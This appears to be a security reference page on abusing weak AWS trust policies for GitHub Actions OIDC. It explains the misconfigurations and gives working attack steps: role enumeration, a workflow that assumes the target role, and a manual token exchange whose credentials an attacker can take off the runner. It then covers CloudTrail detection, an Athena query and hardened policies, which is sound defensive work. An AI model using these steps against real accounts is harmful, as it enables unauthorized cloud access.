How it works
GitHub Actions can sign a short-lived OpenID Connect token for each job. AWS accepts that token through workload identity federation: the account registers token.actions.githubusercontent.com as an IAM OIDC provider, a role names the provider as a Federated principal, and the job calls sts:AssumeRoleWithWebIdentity with the token. No access key is stored in GitHub, which is the reason to use it.
GitHub operates one issuer for all of its customers. The issuer and the audience (sts.amazonaws.com for the official AWS action) are therefore identical for every repository on GitHub. What identifies the job is the subject claim. GitHub documents these default formats:
| Job context | sub |
|---|---|
| Branch | repo:ORG/REPO:ref:refs/heads/BRANCH |
| Tag | repo:ORG/REPO:ref:refs/tags/TAG |
| Pull request event, no environment | repo:ORG/REPO:pull_request |
| Job that references an environment | repo:ORG/REPO:environment:NAME |
The role's trust policy must bind the subject. The misconfigurations that break this are:
- No subject condition. The trust checks only
aud. Any workflow in any GitHub repository, including one the attacker creates in a minute, can assume the role. IAM now refuses to save such a policy, but roles created before that check keep working. - Organization-wide wildcard.
StringLikewithrepo:example-org/*trusts every repository in the organization, on every branch, tag and pull request. Anyone who can create a repository or push a workflow anywhere in the organization gets the role. - Repository-wide wildcard.
repo:example-org/app:*trusts every ref of one repository. A contributor with write access pushes a branch with a changed workflow and gets the production role without review. Thepull_requestsubject matches too. - Prefix that isn't anchored.
repo:example-org*without the slash also matchesexample-org-test/anything, an organization name an attacker can register. - Unprotected environment.
repo:example-org/app:environment:productionis safe only when the environment restricts deployment branches or requires reviewers. Otherwise a job on any branch declaresenvironment: productionand receives that subject. - Recycled names. The classic subject uses names only. If an organization or repository name is released and registered again by someone else, the same subject is issued to the new owner. GitHub's immutable subject format, the default for repositories created after July 15, 2026, adds owner and repository IDs for this reason.
This page covers the AWS side of the trust. Getting code to run inside a correctly trusted repository is covered in pwn requests and workflow script injection.
Prerequisites
- An IAM role whose trust policy names the GitHub OIDC provider and matches a subject the attacker can obtain.
- The role ARN. It is written in workflow files as
role-to-assume, so it is public for public repositories and visible to every reader of a private one. - A place to run a job that receives a matching token: any GitHub repository for a role with no subject check, any repository in the organization for an organization wildcard, or push access to the trusted repository for a repository wildcard.
- The job needs
id-token: write. A workflow author sets that in the workflow file.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Read the trust (with access to the account)
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com
# Roles and their trust statements: look for the GitHub provider and its Condition block
aws iam list-roles \
--query 'Roles[].{Role:RoleName,Trust:AssumeRolePolicyDocument.Statement}' \
--output json
aws iam get-role --role-name github-deploy --query 'Role.AssumeRolePolicyDocument'
A vulnerable statement looks like this. The only condition is the audience:
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
Without account access, the attacker reads role-to-assume from the target's workflow files and simply tries the role from a repository of their own.
2. Run a workflow that assumes the role
Commit this workflow to a repository whose token matches the trust:
name: oidc-check
on: workflow_dispatch
permissions:
id-token: write
contents: read
jobs:
assume:
runs-on: ubuntu-latest
steps:
- uses: aws-actions/configure-aws-credentials@v6.3.1
with:
role-to-assume: arn:aws:iam::111122223333:role/github-deploy
aws-region: us-east-1
- run: aws sts get-caller-identity
If the step succeeds, the job holds the role's credentials and every later aws command runs as the role. For an unprotected environment subject, add environment: production to the job.
3. Do the exchange by hand
The same exchange without the action shows what is sent, and lets the attacker keep the credentials. Inside a job with id-token: write, the runner exposes a request URL and a bearer token for GitHub's OIDC provider:
# Request a token with the audience AWS expects
OIDC_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
# Exchange it. This call needs no AWS credentials
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::111122223333:role/github-deploy \
--role-session-name GitHubActions \
--web-identity-token "$OIDC_TOKEN" \
--duration-seconds 3600
The response contains the credentials and SubjectFromWebIdentityToken, the subject AWS accepted. The credentials work from anywhere until they expire, so an attacker sends them out of the runner and continues from their own machine.
4. Use the role
export AWS_ACCESS_KEY_ID=ASIAEXAMPLEKEYID
export AWS_SECRET_ACCESS_KEY=EXAMPLESECRETKEY
export AWS_SESSION_TOKEN=EXAMPLESESSIONTOKEN
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name github-deploy
Impact
Deployment roles are among the most powerful identities in an account. They create and replace infrastructure, pass roles to services, and often hold AdministratorAccess because that was the fastest way to make a pipeline work. An attacker who can assume one from outside has initial access to the AWS account with no stolen secret, from a workload identity that the account trusts by design.
With a role that has no subject check, the attacker needs nothing from the victim except the role ARN. With a wildcard, a low-privileged contributor or a compromised developer account becomes a cloud administrator, and branch protection on main doesn't help because the attacker's branch is trusted as well.
OPSEC and artifacts
- The exchange is always logged.
AssumeRoleWithWebIdentityis a management event understs.amazonaws.comin the role's account, withuserIdentity.typeofWebIdentityUser, the provider ARN inuserIdentity.identityProviderand the token's subject inuserIdentity.userName. A job from a foreign repository shows its ownrepo:owner/namethere. - The session name blends in. The official action defaults to
GitHubActions, and an attacker using the CLI passes the same name. The subject in the STS event still differs. - Denied attempts are logged too, with an error code, when the request is valid enough to evaluate. Trial and error against subject patterns shows up as a run of failures before a success.
- Exfiltrated credentials change the source address. Calls from the role session that come from outside GitHub's runner address ranges, or with a desktop user agent, are a strong signal.
- GitHub keeps its side. The workflow run, its commit, its actor and its logs exist until someone deletes them. In a repository the attacker owns, the victim can't see any of it.
- A workflow run can succeed without touching AWS, and a matching subject doesn't identify a single run: two runs on the same branch carry the same subject. Join on time and session.
Detection
- Unexpected subjects. List the subjects that assumed each GitHub-trusted role and compare them with the repositories and refs that should deploy.
-- Athena, CloudTrail table: which GitHub subjects obtained which role
SELECT
json_extract_scalar(requestparameters, '$.roleArn') AS role_arn,
useridentity.username AS github_subject,
count(*) AS exchanges,
min(eventtime) AS first_seen,
max(eventtime) AS last_seen
FROM cloudtrail_logs
WHERE eventsource = 'sts.amazonaws.com'
AND eventname = 'AssumeRoleWithWebIdentity'
AND useridentity.principalid LIKE '%token.actions.githubusercontent.com%'
AND errorcode IS NULL
AND eventtime >= '2026-11-01T00:00:00Z'
GROUP BY 1, 2
ORDER BY first_seen DESC
For a web identity session, principalId holds the provider ARN, the audience and the subject, which is why the filter reads it.
- Weak trust at creation. The role trust policy rules read the new document in UpdateAssumeRolePolicy and CreateRole. Flag a GitHub
Federatedprincipal whose subject condition usesStringLikewith a wildcard before the repository name or right after it. - Provider changes. A new OIDC provider or a new audience on the GitHub provider is covered by the identity provider rules on CreateOpenIDConnectProvider and AddClientIDToOpenIDConnectProvider.
- GitHub-side guard removal. When the trust relies on an environment or a branch, the removal of that protection is part of the attack. See the rules for environment protection and branch protection, and the environment.remove_protection_rule audit event.
- Session use outside CI. Activity of the role session from addresses that are not GitHub-hosted or self-hosted runners.
Mitigation
- Pin the subject with
StringEquals. Name the organization, the repository and the branch or environment. AvoidStringLikeunless a wildcard is needed, and then keep it afterref:refs/heads/or similar, never in the organization or repository part.
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:example-org/app:environment:production"
}
}
- Protect the environment the subject names. Restrict deployment branches and tags and require reviewers, so that only reviewed code on the intended branch can declare the environment. AWS recommends also restricting the branch in the trust policy when the subject names an environment.
- Audit legacy roles. Find every role that trusts the GitHub provider and rewrite any trust without a subject condition. IAM blocks new ones, not old ones.
- Use one role per repository and purpose, with the least privilege that pipeline needs, and separate plan or read roles for pull requests from deploy roles for the main branch.
- Adopt immutable subjects. Opt older repositories in to GitHub's subject format with owner and repository IDs, and update the trust policies to match, so a renamed or recycled namespace can't inherit the role.
- Keep sessions short and scoped. Leave the role's maximum session duration at one hour and add a permissions boundary or a session policy in the workflow.
- Limit who can write workflows. Protect
.github/workflowswith CODEOWNERS review and restrict repository creation in the organization, because every writer of a trusted ref is a holder of the role.
Detection rules for this attack
Log events to collect
FAQ
Doesn't AWS reject a GitHub OIDC trust policy without a sub condition?
Today it does. When a trust policy that names GitHub's OIDC provider is created or updated, IAM checks that token.actions.githubusercontent.com:sub is present and is not only a wildcard. Roles written before the check still work as they are, and a pattern such as repo:example-org/* passes the check while trusting every repository, branch and pull request of the organization.
Why isn't the audience condition enough?
The audience sts.amazonaws.com is the same for every GitHub repository that uses the official AWS action. GitHub runs one shared issuer for all of its customers, so issuer and audience together only prove that the token came from some GitHub Actions job. Only the subject, or claims such as repository and job_workflow_ref, say which job.
Is an environment subject safe?
Only if the environment is protected. A subject of repo:ORG/REPO:environment:production is issued to any job that declares that environment. Without deployment branch rules or required reviewers on the environment, a job on any branch can declare it and receive the token.
What does the attack look like in CloudTrail?
As an AssumeRoleWithWebIdentity event under sts.amazonaws.com with userIdentity.type WebIdentityUser. The identity provider ARN is in userIdentity.identityProvider and the token's subject in userIdentity.userName, so the repository and ref that obtained the role are recorded.
References
- Create a role for OpenID Connect federation: configuring a role for GitHub OIDC identity provider (IAM User Guide)
- Configuring OpenID Connect in Amazon Web Services (GitHub Docs)
- OpenID Connect reference: subject claims and token request (GitHub Docs)
- AssumeRoleWithWebIdentity (AWS STS API reference)
- Logging IAM and AWS STS API calls with AWS CloudTrail (IAM User Guide)
- configure-aws-credentials action (aws-actions)
- Valid Accounts: Cloud Accounts, T1078.004 (MITRE ATT&CK)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.